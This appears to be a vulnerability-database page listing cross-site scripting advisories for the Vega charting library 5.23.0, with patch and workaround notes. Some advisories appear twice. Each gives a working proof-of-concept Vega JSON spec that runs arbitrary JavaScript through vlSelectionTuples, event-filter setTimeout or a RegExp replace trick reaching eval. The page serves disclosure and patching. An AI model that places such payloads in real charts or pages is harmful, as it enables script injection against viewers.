All the vulnerabilities related to the version 5.23.0 of the package
Vega allows Cross-site Scripting via the vlSelectionTuples function
The vlSelectionTuples function can be used to call JavaScript functions, leading to XSS.
vlSelectionTuples calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.
Example call: vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})
This can be used to call Function() with arbitrary JavaScript and the resulting function can be called with vlSelectionTuples or using a type coercion to call toString or valueOf.
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patched in vega 5.31.0 / vega-functions 5.16.0
Is there a way for users to fix or remediate the vulnerability without upgrading?
vega without vega.expressionInterpreter. This mode is not the default as it is slower.Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
vega with expression interpreter5.32.0)Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patched in vega 5.31.0 / vega-functions 5.16.0
Is there a way for users to fix or remediate the vulnerability without upgrading?
vega without vega.expressionInterpreter. This mode is not the default as it is slower.Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
vega with expression interpreter5.32.0)Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}